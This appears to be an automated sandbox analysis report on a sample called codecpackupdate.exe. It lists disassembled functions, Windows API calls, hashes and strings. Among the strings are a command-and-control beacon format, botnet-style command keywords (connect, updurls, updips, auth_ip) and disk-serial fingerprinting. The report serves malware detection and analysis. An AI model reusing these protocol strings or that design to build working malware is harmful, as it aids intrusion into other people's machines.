Opcode Fuzzy Hash: 299ca15397ebee838ff06567ddbc0ab6f29b8118cf23d418261883c500b25a22
Instruction Fuzzy Hash: D5416C72540619AFCF109FA4DD85AAF3F69FB08710F10443AF912F6290C3399A619BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403112 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00403131
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00403166
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004031C6

Strings

__MSVCRT_HEAP_SELECT, xrefs: 00403161
__GLOBAL_HEAP_SELECTED, xrefs: 004031A0

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: af41626222cda295a30e89e95e8c01aa69820a81ffba76c46a2f88c2c2cc9610
Instruction ID: 15aa791d7551e4111e6245bb3a1b8270ecaa7052e860947edacf4d8c3684a0cc
Opcode Fuzzy Hash: af41626222cda295a30e89e95e8c01aa69820a81ffba76c46a2f88c2c2cc9610
Instruction Fuzzy Hash: 9C3102719412486DEB31AB706C45BDA7F6C9B0A709F2404FFD145FA2C2D6398F898B19

Uniqueness

Uniqueness Score: -1.00%

Function 00404842 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0040489B
GetFileType.KERNEL32(00000800), ref: 00404941
GetStdHandle.KERNEL32(-000000F6), ref: 0040499A
GetFileType.KERNEL32(00000000), ref: 004049A8
SetHandleCount.KERNEL32 ref: 004049DF

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 56d6159c8425f0dd02e5a81d6ebd8f1304acda9888bee5980fecee2fba5d3342
Instruction ID: 5bba43567eb9c7eebad7166e054eef6f33a3e935d61c9f19950f113686a4cc82
Opcode Fuzzy Hash: 56d6159c8425f0dd02e5a81d6ebd8f1304acda9888bee5980fecee2fba5d3342
Instruction Fuzzy Hash: 585124F25003118BD7208B38CD48B673BA0EB91331F19873AE696BB2E1D738C855875A

Uniqueness

Uniqueness Score: -1.00%

Function 00403B08 Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,00000000,?,?,004032A0), ref: 00403B29
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,?,?,004032A0), ref: 00403B4D
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,?,?,004032A0), ref: 00403B67
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?,?,004032A0), ref: 00403C28
HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,004032A0), ref: 00403C3F

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 2f654d351822ba0938a426815c3a9789615761df562ee039fb8b9cb046954d4c
Instruction ID: 29c7c306398b504596bf767bafbbf3f0594b5aced9f79ae4ff8fd419923c464c
Opcode Fuzzy Hash: 2f654d351822ba0938a426815c3a9789615761df562ee039fb8b9cb046954d4c
Instruction Fuzzy Hash: 6831F071A447019BE3208F24DD45B22BFB8EB44B5AF10813AE566BB3D1E778B9008B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004056B6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004056CA

Strings

, xrefs: 00405713
, xrefs: 004056EF

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: cf78403d1ad84891bd07750a5396902b39d4e3a867152e43ede0f354584f907c
Instruction ID: 09f2f023d99f136d6c1d54f1ac7197ff319f79a86c6e1a8e0271cc1bcc75f35e
Opcode Fuzzy Hash: cf78403d1ad84891bd07750a5396902b39d4e3a867152e43ede0f354584f907c
Instruction Fuzzy Hash: 474156310047586AEB15D614DE5DBFB7FA9EB02700F1400F6E946F71D2C2790924DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 004044C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe,00000104,?,00000000,?,?,?,?,00402FB0), ref: 004044E6

Strings

C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe, xrefs: 004044DA, 004044E4, 00404509, 0040453F
h5`, xrefs: 004044EC

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: FileModuleName
String ID: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe$h5`
API String ID: 514040917-2106218412
Opcode ID: e4c2509f1a48c11c220fc4324a28902978b1387e4841e844e69e582ca8f90123
Instruction ID: a353362e766ed3f2c716cac6d89b577610a1520323eec6d1a1738d9fa524379f
Opcode Fuzzy Hash: e4c2509f1a48c11c220fc4324a28902978b1387e4841e844e69e582ca8f90123
Instruction Fuzzy Hash: B2115EB2900218BFD711EF99DD81CAB77BCEB45358B1100BBF605B3241E674AE148BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040395C Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 00403984
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039B8
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039D2
HeapFree.KERNEL32(00000000,?,?,00000000,00403724,?,?,?,00000100,?,00000000), ref: 004039E9

Memory Dump Source

Source File: 00000002.00000002.1620504748.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1620504748.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_codecpackupdate.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: d387fd4f3eab095a78f7bb9c90f865f0c98a2a282a57ddd88524d606926be08d
Instruction ID: ab7933d84ada2b962503ad88361c81f9e178ef349f2d38840b4e325d6782f2f4
Opcode Fuzzy Hash: d387fd4f3eab095a78f7bb9c90f865f0c98a2a282a57ddd88524d606926be08d
Instruction Fuzzy Hash: 3E118F712003019FD7218F29EE459167BF5FB84765711853AF152E71B0C372D961CF1A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: codecpackupdate.exePID: 7084, Parent PID: 6940COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	83.9%
Signature Coverage:	1.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	44

Executed Functions

Function 009F72A7 Relevance: 74.2, APIs: 29, Strings: 13, Instructions: 659
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(0000EA60), ref: 009F6704
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F670F
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F6720
InternetOpenA.WININET(?), ref: 009F72B1
InternetSetOptionA.WININET(00000000,00000002,?), ref: 009F72D9
InternetSetOptionA.WININET(00000000,00000005,00001388,00000004), ref: 009F72F1
InternetSetOptionA.WININET(00000000,00000006,00001388,00000004), ref: 009F7309
InternetOpenUrlA.WININET(00000000,?,?,000000FF,04000200), ref: 009F7332
InternetReadFile.WININET(00000000,?,00001000,?), ref: 009F7354
InternetCloseHandle.WININET(00000000), ref: 009F7374
InternetCloseHandle.WININET(00000000), ref: 009F737F
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F73EA
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F73FB
_malloc.LIBCMT ref: 009F7494
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F74A6
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F74B2
_malloc.LIBCMT ref: 009F758A
_strtok.LIBCMT ref: 009F75BB
_swscanf.LIBCMT ref: 009F75D2
_strtok.LIBCMT ref: 009F75E9
_free.LIBCMT ref: 009F75F5
Sleep.KERNEL32(000007D0), ref: 009F76ED
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F776E
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F7780
_sprintf.LIBCMT ref: 009F781E
RtlEnterCriticalSection.NTDLL(00000020), ref: 009F78E2
RtlLeaveCriticalSection.NTDLL(00000020), ref: 009F7916

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 009F6735
disconnect, xrefs: 009F7415, 009F773E
<htm, xrefs: 009F738D
block, xrefs: 009F75A3
, xrefs: 009F7A90
auth_swith, xrefs: 009F7533
urls, xrefs: 009F7B32
idle, xrefs: 009F7429, 009F7799
auth_ip, xrefs: 009F755F, 009F77F0
connect, xrefs: 009F7401, 009F746C
updurls, xrefs: 009F7451, 009F7AFC
updips, xrefs: 009F743D, 009F77CC
%d;, xrefs: 009F7818

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$Internet$EnterLeave$Option$CloseHandleOpenSleep_malloc_strtok$FileRead_free_sprintf_swscanf
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls$urls
API String ID: 1657546717-1839899575
Opcode ID: aa432bd4dc7a2c82af757c600a40636c866138876f6bbef5301badfbbfb23227
Instruction ID: eabc57592ba566f2e1739f9c6de0cdc913abe37619aacc9c1e37ffcb0d5e7cc7
Opcode Fuzzy Hash: aa432bd4dc7a2c82af757c600a40636c866138876f6bbef5301badfbbfb23227
Instruction Fuzzy Hash: EC32F07150C385AFD720AB64DC45BEFB7E9AF89310F10482DF689972A1EB709944CB52

Uniqueness

Uniqueness Score: -1.00%

Function 009F6487 Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 228
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.NTDLL(00A271B8), ref: 009F64B6
GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 009F64CD
GetProcAddress.KERNEL32(00000000), ref: 009F64D6
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 009F64E5
GetProcAddress.KERNEL32(00000000), ref: 009F64E8
GetTickCount.KERNEL32 ref: 009F64F4

Part of subcall function 009F605A: _malloc.LIBCMT ref: 009F6068

GetVersionExA.KERNEL32(00A27010), ref: 009F6521
_malloc.LIBCMT ref: 009F654D

Part of subcall function 00A02EEC: __FF_MSGBANNER.LIBCMT ref: 00A02F03
Part of subcall function 00A02EEC: __NMSG_WRITE.LIBCMT ref: 00A02F0A
Part of subcall function 00A02EEC: RtlAllocateHeap.NTDLL(008F0000,00000000,00000001), ref: 00A02F2F

_malloc.LIBCMT ref: 009F655D
_malloc.LIBCMT ref: 009F6568
_malloc.LIBCMT ref: 009F6573
_malloc.LIBCMT ref: 009F657E
_malloc.LIBCMT ref: 009F6589
_malloc.LIBCMT ref: 009F6594
_malloc.LIBCMT ref: 009F65A3
GetProcessHeap.KERNEL32(00000000,00000004), ref: 009F65BA
RtlAllocateHeap.NTDLL(00000000), ref: 009F65C3
GetProcessHeap.KERNEL32(00000000,00000400), ref: 009F65D2
RtlAllocateHeap.NTDLL(00000000), ref: 009F65D5
GetProcessHeap.KERNEL32(00000000,00000400), ref: 009F65E0
RtlAllocateHeap.NTDLL(00000000), ref: 009F65E3
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F661D
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F662A
_malloc.LIBCMT ref: 009F664E
_malloc.LIBCMT ref: 009F665C
_malloc.LIBCMT ref: 009F6663
_malloc.LIBCMT ref: 009F6689
QueryPerformanceCounter.KERNEL32(00000200), ref: 009F669C
Sleep.KERNELBASE ref: 009F66AA
_malloc.LIBCMT ref: 009F66B6
_malloc.LIBCMT ref: 009F66C3
Sleep.KERNELBASE(0000EA60), ref: 009F6704
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F670F
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F6720

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 009F6735
strcat, xrefs: 009F64D8
cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 009F666B
sprintf, xrefs: 009F64C7
ntdll.dll, xrefs: 009F64C2, 009F64CC, 009F64DD

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$CriticalSection$Allocate$Process$AddressEnterHandleLeaveModuleProcSleep$CountCounterInitializePerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 4273019447-2678694477
Opcode ID: ddca006462ebe0f128f29a403cd4e0eac2e1a7cd97cc4520bf1db61343356e25
Instruction ID: cd4c20e3151918897be6887de5d181d4586298108d8a841adfa167c46d398f2b
Opcode Fuzzy Hash: ddca006462ebe0f128f29a403cd4e0eac2e1a7cd97cc4520bf1db61343356e25
Instruction Fuzzy Hash: 4171C4B1948354AFE710EF74EC0AB6F7BE8BF49710F10482AF68497291DBB45901CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00401B4B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(iphlpapi.dll), ref: 00401B5D
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 00401B74
GetAdaptersInfo.IPHLPAPI(?,00000400), ref: 00401B9D
FreeLibrary.KERNEL32(00401A3E), ref: 00401C1B

Strings

iphlpapi.dll, xrefs: 00401B58
o, xrefs: 00401BF2
GetAdaptersInfo, xrefs: 00401B6E

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll$o
API String ID: 514930453-3667123677
Opcode ID: ccb5438453e322dee9fbf1b1f0840e02b8e5c840e37394e15fd7fcb2dc755fc2
Instruction ID: 989bf52404031a28807fba390b80e1364536d7dfce6c2044dfeb9dc774225594
Opcode Fuzzy Hash: ccb5438453e322dee9fbf1b1f0840e02b8e5c840e37394e15fd7fcb2dc755fc2
Instruction Fuzzy Hash: F521B870944209AFEF21DF65C9447EF7BB8EF41344F1440BAE504B22E1E7789985CB69

Uniqueness

Uniqueness Score: -1.00%

Function 009FF8DA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 009FF8F0
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 009FF909
GetAdaptersInfo.IPHLPAPI(?,?), ref: 009FF92E
FreeLibrary.KERNEL32(00000000), ref: 009FF9B7

Strings

GetAdaptersInfo, xrefs: 009FF903
iphlpapi.dll, xrefs: 009FF8E4

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Library$AdaptersAddressFreeInfoLoadProc
String ID: GetAdaptersInfo$iphlpapi.dll
API String ID: 514930453-3114217049
Opcode ID: 20ab673fc821e9e4abc281dfbeae330ba7c6fb7646fd2a670dda12bbdfea00f3
Instruction ID: 11384d2eb0220f48c1701c7a3c9429a1f299627554a578c1d0dc0dee28f6db0a
Opcode Fuzzy Hash: 20ab673fc821e9e4abc281dfbeae330ba7c6fb7646fd2a670dda12bbdfea00f3
Instruction Fuzzy Hash: EE219475A0420DABDB14DFA8D8A47FEBBBCAF05350F1440BAE644E7241D7749E85C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009FF7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 009FF7F5
DeviceIoControl.KERNELBASE(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 009FF833
GetLastError.KERNEL32 ref: 009FF894
FindCloseChangeNotification.KERNELBASE(?), ref: 009FF8CB

Strings

\\.\PhysicalDrive0, xrefs: 009FF7EE

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceErrorFileFindLastNotification
String ID: \\.\PhysicalDrive0
API String ID: 3786717961-1180397377
Opcode ID: 05f4b2a3e477b3765b9e3bb5654f9c73c1eef353627396a6b5fad5f49a997fc7
Instruction ID: 0cb86fdf902d3299a3073ef839a941e89d88d4e974ca0a20c42069af3d310c0b
Opcode Fuzzy Hash: 05f4b2a3e477b3765b9e3bb5654f9c73c1eef353627396a6b5fad5f49a997fc7
Instruction Fuzzy Hash: 56319E72D00219ABDB14DF95D8A4AFEBBB8FF09790F20417AE606A7290D7705E05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\PhysicalDrive0,00000000,00000007,00000000,00000003,00000000,00000000), ref: 00401A6B
DeviceIoControl.KERNELBASE(?,002D1400,?,0000000C,?,00000400,00000400,00000000), ref: 00401AB2
GetLastError.KERNEL32 ref: 00401B0E
FindCloseChangeNotification.KERNELBASE(?), ref: 00401B3D

Strings

\\.\PhysicalDrive0, xrefs: 00401A63

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: ChangeCloseControlCreateDeviceErrorFileFindLastNotification
String ID: \\.\PhysicalDrive0
API String ID: 3786717961-1180397377
Opcode ID: 89700505a12f282f270db25e62f1f83fcd7e168e5d3770c0c1e857fe250e7073
Instruction ID: 4be7cd3f819721d39b4e681a90ac86abf8c5b8a7a35c169795375fcfafce56b7
Opcode Fuzzy Hash: 89700505a12f282f270db25e62f1f83fcd7e168e5d3770c0c1e857fe250e7073
Instruction Fuzzy Hash: 5E31AB71D00218EADB21EFA5CD809EFBBB8FF41750F20407AE514B22A0E3785E41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 009F642A Relevance: 66.8, APIs: 33, Strings: 5, Instructions: 259
memorysleeplibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sprintf), ref: 009F64CD
GetProcAddress.KERNEL32(00000000), ref: 009F64D6
GetModuleHandleA.KERNEL32(ntdll.dll,strcat), ref: 009F64E5
GetProcAddress.KERNEL32(00000000), ref: 009F64E8
GetTickCount.KERNEL32 ref: 009F64F4
GetVersionExA.KERNEL32(00A27010), ref: 009F6521
_malloc.LIBCMT ref: 009F654D
_malloc.LIBCMT ref: 009F655D
_malloc.LIBCMT ref: 009F6568
_malloc.LIBCMT ref: 009F6573
_malloc.LIBCMT ref: 009F657E
_malloc.LIBCMT ref: 009F6589
_malloc.LIBCMT ref: 009F6594
_malloc.LIBCMT ref: 009F65A3
GetProcessHeap.KERNEL32(00000000,00000004), ref: 009F65BA
RtlAllocateHeap.NTDLL(00000000), ref: 009F65C3
GetProcessHeap.KERNEL32(00000000,00000400), ref: 009F65D2
RtlAllocateHeap.NTDLL(00000000), ref: 009F65D5
GetProcessHeap.KERNEL32(00000000,00000400), ref: 009F65E0
RtlAllocateHeap.NTDLL(00000000), ref: 009F65E3
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F661D
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F662A
_malloc.LIBCMT ref: 009F664E
_malloc.LIBCMT ref: 009F665C
_malloc.LIBCMT ref: 009F6663
_malloc.LIBCMT ref: 009F6689
QueryPerformanceCounter.KERNEL32(00000200), ref: 009F669C
Sleep.KERNELBASE ref: 009F66AA
_malloc.LIBCMT ref: 009F66B6
_malloc.LIBCMT ref: 009F66C3
Sleep.KERNELBASE(0000EA60), ref: 009F6704
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F670F
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F6720

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 009F6735
strcat, xrefs: 009F64D8
cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d, xrefs: 009F666B
sprintf, xrefs: 009F64C7
ntdll.dll, xrefs: 009F64C2, 009F64CC, 009F64DD

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: _malloc$Heap$CriticalSection$AllocateProcess$AddressEnterHandleLeaveModuleProcSleep$CountCounterPerformanceQueryTickVersion
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$cid=%.8x&connected=%d&sport=%d&high_port=%x&low_port=%x&stream=%d&os=%d.%d.%04d&dgt=%d&dti=%d$ntdll.dll$sprintf$strcat
API String ID: 2110165542-2678694477
Opcode ID: 96aceb53da585eef51812b98a703e46c32994701699364844a33a1dfed61f96c
Instruction ID: f9a5a549bdb01f5b82df8f2d9b5472552660d8bbe31cef3c1c334c49b0c77952
Opcode Fuzzy Hash: 96aceb53da585eef51812b98a703e46c32994701699364844a33a1dfed61f96c
Instruction Fuzzy Hash: 3C8109B19483549FD310AF74EC09BAFBFE8AF89314F20482EF68497291DB754801CB96

Uniqueness

Uniqueness Score: -1.00%

Function 009F1CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 009F1D11
GetLastError.KERNEL32 ref: 009F1D23

Part of subcall function 009F1712: __EH_prolog.LIBCMT ref: 009F1717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 009F1D59
GetLastError.KERNEL32 ref: 009F1D6B
__beginthreadex.LIBCMT ref: 009F1DB1
GetLastError.KERNEL32 ref: 009F1DC6
CloseHandle.KERNEL32(00000000), ref: 009F1DDD
CloseHandle.KERNEL32(00000000), ref: 009F1DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 009F1E14
FindCloseChangeNotification.KERNELBASE(00000000), ref: 009F1E1B

Strings

thread, xrefs: 009F1DFB
thread.entry_event, xrefs: 009F1D3C
thread.exit_event, xrefs: 009F1D84

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$CreateEventHandle$ChangeFindH_prologNotificationObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 4246062733-3017686385
Opcode ID: ab20c3456c70afcd28ec7c2871ae939dd2cdf691162a2ffe6771a84a600e10b8
Instruction ID: 6095631900d956a76673b94916a06f0cf5a9a65457909418e8f52119532724b4
Opcode Fuzzy Hash: ab20c3456c70afcd28ec7c2871ae939dd2cdf691162a2ffe6771a84a600e10b8
Instruction Fuzzy Hash: C1317C71A043059FD700EF60C848B6FBBB9EB88751F10856DF9599B2A1DB309D4ACBD2

Uniqueness

Uniqueness Score: -1.00%

Function 009F4D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 009F4D8B
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F4DB7
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F4DC3

Part of subcall function 009F4BED: __EH_prolog.LIBCMT ref: 009F4BF2
Part of subcall function 009F4BED: InterlockedExchange.KERNEL32(?,00000000), ref: 009F4CF2

RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F4E93
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F4E99
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F4EA0
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F4EA6
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F50A7
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F50AD
RtlEnterCriticalSection.NTDLL(00A271B8), ref: 009F50B8
RtlLeaveCriticalSection.NTDLL(00A271B8), ref: 009F50C1

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: ad33e4642f09c3778f35b575ad4b988f006ce0969f9c2d2c8f35f6ed25b26672
Instruction ID: 691e9199e7aebec7e11f05158cc7c229c44f8a3b1c57fe52a105c6bac33486bc
Opcode Fuzzy Hash: ad33e4642f09c3778f35b575ad4b988f006ce0969f9c2d2c8f35f6ed25b26672
Instruction Fuzzy Hash: 90B17B71D0425DDFDF21DFA0C841BEEBBB9AF44314F14805AEA09B6281DB745A49CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNELBASE(00000040,00000000), ref: 00401FBF
